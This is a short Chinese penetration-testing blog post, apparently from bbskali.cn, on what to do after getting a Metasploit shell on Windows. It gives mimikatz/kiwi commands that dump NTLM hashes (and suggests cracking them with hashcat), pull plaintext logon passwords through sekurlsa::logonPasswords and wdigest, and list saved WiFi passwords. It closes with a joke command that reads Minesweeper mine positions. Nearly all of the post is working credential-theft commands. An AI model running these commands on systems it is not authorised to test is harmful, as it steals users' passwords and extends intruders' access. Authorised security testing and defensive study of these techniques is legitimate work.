利用msf获得系统shell后，就完了？ no~ 我们的渗透之路才刚刚开始。系统提权，权限维持，这些都是最基本的操作，除了这些还有那些好玩的呢？
获取明文密码
如下，我们在msf中获得shell后，载入mimikatz模块load mimikatz
这里提示，需要载入kiwi我们再次载入
获取系统hash值
mimikatz_command -f samdump::hashes
参数说明：user:用户名NTLM:hash值（如果获取明文失败，我们可以直接利用hashcat暴力破解）
获取密码明文
mimikatz_command -f sekurlsa::logonPasswords full
mimikatz_command -f sekurlsa::wdigest
获取目标WiFi密码
wifi_list_shared
获取扫雷的位置
mimikatz_command -f winmine::infos
版权属于：逍遥子大表哥
本文链接：https://blog.bbskali.cn/1971.html
按照知识共享署名-非商业性使用 4.0 国际协议进行许可，转载引用文章应遵循相同协议。
此处评论已关闭